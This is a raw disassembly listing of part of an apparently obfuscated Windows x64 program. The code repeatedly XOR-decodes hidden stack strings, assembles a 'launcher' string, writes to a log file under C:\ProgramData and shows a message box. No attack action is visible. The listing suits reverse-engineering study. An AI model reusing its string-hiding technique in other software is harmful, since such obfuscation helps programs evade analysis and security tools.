vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x8e0], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4cf0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4cf8], rax
vmovdqa xmm0, xmmword [rbp + 0x4cf0]
vxorps xmm0, xmm0, xmmword [rbp + 0x580]
vmovdqa xmmword [rbp + 0x580], xmm0
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x2cf8]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x5c0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x5c8], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4bc0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4bc8], rax
movdqa xmm0, xmmword [rbp + 0x4bc0]
xorps xmm0, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x5c0], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4870], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4878], rax
movdqa xmm0, xmmword [rbp + 0x4870]
xorps xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x590], xmm0
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x2cd8]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x13], 0
mov edx, 0x7e
lea rcx, [rbp + 0x2b78]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x2cb8]
lea rcx, [rbp + 0x13]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x5b0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x5b8], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4880], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4888], rax
movdqa xmm0, xmmword [rbp + 0x4880]
xorps xmm0, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x5b0], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x2c98]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x5a0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x5a8], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4890], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4898], rax
movdqa xmm0, xmmword [rbp + 0x4890]
xorps xmm0, xmmword [rbp + 0x5a0]
movdqa xmmword [rbp + 0x5a0], xmm0
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x2c78]
call fcn.140018f00
nop
lea r8, [rbp + 0x5b0]
mov rdx, rax
lea rcx, [rbp + 0x2c58]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2c38]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2c18]
call fcn.140019110
nop
lea r8, [rbp + 0x5c0]
mov rdx, rax
lea rcx, [rbp + 0x2bf8]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x2bd8]
call fcn.140019110
nop
lea r8, [rbp + 0x8e0]
mov rdx, rax
lea rcx, [rbp + 0x2bb8]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2b98]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3848]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x3848]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x2b98]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2bb8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2bd8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2bf8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2c18]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2c38]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2c58]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2c78]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2c98]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2cb8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2cd8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2cf8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2d18]
call fcn.140017eb0
movabs rax, 0x972d9617d6b22dce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc00], rax
movabs rax, 0xe7dedd9d0e473fec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc08], rax
movabs rax, 0x8a5e24df3830a674
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc10], rax
movabs rax, 0x35f03c6c5b507e94
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc18], rax
movabs rax, 0x37c90a055b01cf4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc20], rax
movabs rcx, 0xed402e04c51d4e82
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xc28], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4d00], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4d08], rax
movabs rdi, 0xeb3148ff5c55d207
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4d10], rax
movabs rbx, 0x549e550e7b221bf0
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4d18], rax
movabs rax, 0x37c90a055b20b639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d20], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4d28], rax
vmovdqu ymm0, ymmword [rbp + 0xc00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4d00]
vmovdqa ymmword [rbp + 0xc00], ymm1
vmovdqa xmm0, xmmword [rbp + 0x4d20]
vxorps xmm0, xmm0, xmmword [rbp + 0xc20]
vmovdqa xmmword [rbp + 0xc20], xmm0
lea rdx, [rbp + 0xc00]
lea rcx, [rbp + 0x2d38]
vzeroupper
call fcn.140017fd0
mov rdx, rax
lea rcx, [rbp + 0x3fa8]
call fcn.140035a10
cmp byte [rbp + 0x3fa1], 0
jne 0x14002624f
nop word [rax + rax]
mov qword [rbp + 0x790], 0x64
lea rdx, [rbp + 0x790]
lea rcx, [rbp + 0xc88]
call fcn.14002c0b0
mov rcx, rax
call fcn.14002cac0
cmp byte [rbp + 0x3fa1], 0
je 0x140026220
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x48a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x48a8], rax
movdqa xmm0, xmmword [rbp + 0x48a0]
xorps xmm0, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp + 0x5d0], xmm0
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x12a8]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x9717871cc7b22ed9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x900], rcx
movabs rax, 0xe5cac09e7c1e06ff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x908], rcx
movabs rax, 0xeb3148de2830a127
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x910], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x918], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x900]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x900], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x48b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x48b8], rax
vmovdqa xmm0, xmmword [rbp + 0x48b0]
vxorps xmm0, xmm0, xmmword [rbp + 0x5e0]
vmovdqa xmmword [rbp + 0x5e0], xmm0
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x1288]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x620], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x628], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x48c0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x48c8], rax
movdqa xmm0, xmmword [rbp + 0x48c0]
xorps xmm0, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x620], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4ba0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4ba8], rax
movdqa xmm0, xmmword [rbp + 0x4ba0]
xorps xmm0, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp + 0x5f0], xmm0
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp + 0x1268]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x14], 0
mov edx, 0x85
lea rcx, [rbp + 0x2d58]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x1248]
lea rcx, [rbp + 0x14]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x610], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x618], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4b80], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b88], rax
movdqa xmm0, xmmword [rbp + 0x4b80]
xorps xmm0, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x610], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1228]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x600], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x608], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4b70], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b78], rax
movdqa xmm0, xmmword [rbp + 0x4b70]
xorps xmm0, xmmword [rbp + 0x600]
movdqa xmmword [rbp + 0x600], xmm0
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x1208]
call fcn.140018f00
nop
lea r8, [rbp + 0x610]
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x11c8]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140019110
nop
lea r8, [rbp + 0x620]
mov rdx, rax
lea rcx, [rbp + 0x1188]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x2db8]
call fcn.140019110
nop
lea r8, [rbp + 0x900]
mov rdx, rax
lea rcx, [rbp + 0x2d98]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2d78]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3950]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x3950]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x2d78]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2d98]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2db8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1188]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x11a8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x11c8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x11e8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1208]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1228]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1248]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1268]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1288]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x12a8]
call fcn.140017eb0
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4b60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b68], rax
movdqa xmm0, xmmword [rbp + 0x4b60]
xorps xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x630], xmm0
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x14c8]
call fcn.140017fd0
mov r15, rax
movabs rax, 0xf26b861cd7aa23b5
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x690], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x698], rcx
movabs rbx, 0xf245f579a3d34195
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4b50], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b58], rax
movdqa xmm0, xmmword [rbp + 0x4b50]
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x690], xmm0
lea rcx, [rbp + 0x3fc8]
call fcn.140016a70
mov rdx, rax
lea rcx, [rbp + 0x14a8]
call fcn.140020bc0
mov r14, rax
movabs rax, 0x96208310c6b024c7
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xbc0], rcx
movabs rax, 0xee8bc891300614be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xbc8], rcx
movabs rax, 0x8246688d3931b368
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xbd0], rcx
movabs rax, 0x74fb2f6708027384
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbd8], rax
movabs rdx, 0x37c90a055b20b639
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xbe0], rax
movabs rcx, 0xed402e04c51d4e82
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xbe8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4d40], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4d48], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d50], rax
movabs rax, 0x549e550e7b221bf0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d58], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x4d60], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4d68], rax
vmovdqu ymm0, ymmword [rbp + 0xbc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4d40]
vmovdqa ymmword [rbp + 0xbc0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x4d60]
vxorps xmm0, xmm0, xmmword [rbp + 0xbe0]
vmovdqa xmmword [rbp + 0xbe0], xmm0
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4b40], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b48], rax
vmovdqa xmm0, xmmword [rbp + 0x4b40]
vxorps xmm0, xmm0, xmmword [rbp + 0x640]
vmovdqa xmmword [rbp + 0x640], xmm0
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x1488]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x680], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x688], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4b30], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b38], rax
movdqa xmm0, xmmword [rbp + 0x4b30]
xorps xmm0, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x680], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4ab0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4ab8], rax
movdqa xmm0, xmmword [rbp + 0x4ab0]
xorps xmm0, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0x650], xmm0
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x1468]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x15], 0
mov edx, 0x86
lea rcx, [rbp + 0x12c8]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x1448]
lea rcx, [rbp + 0x15]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x670], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x678], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4aa0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4aa8], rax
movdqa xmm0, xmmword [rbp + 0x4aa0]
xorps xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x670], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1428]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x660], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x668], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4a90], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a98], rax
movdqa xmm0, xmmword [rbp + 0x4a90]
xorps xmm0, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0x660], xmm0
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x1408]
call fcn.140018f00
nop
lea r8, [rbp + 0x670]
mov rdx, rax
lea rcx, [rbp + 0x13e8]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x13c8]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x13a8]
call fcn.140019110
nop
lea r8, [rbp + 0x680]
mov rdx, rax
lea rcx, [rbp + 0x1388]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1368]
call fcn.140019110
nop
lea r8, [rbp + 0xbc0]
mov rdx, rax
lea rcx, [rbp + 0x1348]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1328]
call fcn.140019110
nop
lea r8, [rbp + 0x690]
mov rdx, rax
lea rcx, [rbp + 0x1308]
call fcn.140019030
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x12e8]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3a58]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x3a58]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x12e8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1308]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1328]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1348]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1368]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1388]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x13a8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x13c8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x13e8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1408]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1428]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1448]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1468]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1488]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x14a8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x14c8]
call fcn.140017eb0
mov dword [rbp + 0x20], 0x64
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc90]
call fcn.14002bfa0
mov rcx, rax
call fcn.14002bfb0
movabs rax, 0x972d9617d6b22dce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb80], rax
movabs rax, 0xebcecf9d0e473fec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb88], rax
movabs rax, 0x8f5027937c31b771
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb90], rax
movabs rax, 0x26ff3b6719026995
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb98], rax
movabs rax, 0x37c90a055b209740
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xba0], rax
movabs r14, 0xed402e04c51d4e82
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xba8], rax
movabs rbx, 0xf245f579a3d34195
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4d80], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4d88], rax
movabs rsi, 0xeb3148ff5c55d207
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4d90], rax
movabs rdi, 0x549e550e7b221bf0
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4d98], rax
movabs rax, 0x37c90a055b20b639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4da0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4da8], rax
vmovdqu ymm0, ymmword [rbp + 0xb80]
vpxor ymm1, ymm0, ymmword [rbp + 0x4d80]
vmovdqa ymmword [rbp + 0xb80], ymm1
vmovdqa xmm0, xmmword [rbp + 0x4da0]
vxorps xmm0, xmm0, xmmword [rbp + 0xba0]
vmovdqa xmmword [rbp + 0xba0], xmm0
lea rdx, [rbp + 0xb80]
lea rcx, [rbp + 0x14e8]
vzeroupper
call fcn.140017fd0
mov rdx, rax
lea rcx, [rbp + 0x3fa8]
call fcn.140035a10
lea rcx, [rbp + 0x3fc8]
call fcn.1400207a0
mov r15, rax
mov rcx, rax
call fcn.140021560
test eax, eax
jne 0x140027974
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4a80], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a88], rax
movdqa xmm0, xmmword [rbp + 0x4a80]
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x6a0], xmm0
movabs rax, 0x9d2b9e17d6f32fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa60], rax
movabs rax, 0xf0c4de8a39470ce9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa68], rax
movabs rax, 0x8e433a8a3f36bd27
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa70], rax
movabs rax, 0x27ff30622b023594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa78], rax
movabs rax, 0x50a82a7c2954965c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa80], rax
movabs rax, 0x88344f68e57327e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa88], rax
movabs rax, 0x7a0a2195dd8d8bf9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa90], rax
movabs rax, 0x179d1e39eed0c3db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa98], rax
movabs rax, 0xb4bf7a8308642468
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa0], rax
movabs rax, 0xd1e10a55e38ff820
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa8], rax
movabs rax, 0x83ed1a8e2ec260
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xab0], rax
movabs rax, 0xedf7e0523024cfea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xab8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
movabs rax, 0x37c90a055b20b639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4560], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4568], rax
movabs rax, 0x192a45fbbcada78b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4570], rax
movabs rax, 0x64bd6a5a8fa4adb4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4578], rax
movabs rax, 0xdd9f0ef16714541d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4580], rax
movabs rax, 0xa3912a308bfbd846
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4588], rax
movabs rax, 0x65f3cd77eb42a00f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4590], rax
movabs rax, 0xedd99326434dbc98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4598], rax
vmovdqu ymm0, ymmword [rbp + 0xa60]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0xa60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa80]
vpxor ymm1, ymm0, ymmword [rbp + 0x4560]
vmovdqa ymmword [rbp + 0xa80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xaa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4580]
vmovdqa ymmword [rbp + 0xaa0], ymm1
vzeroupper
call qword [sym.imp.USER32.dll_GetDesktopWindow]
xor r9d, r9d
lea r8, [rbp + 0x6a0]
lea rdx, [rbp + 0xa60]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400292a7
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
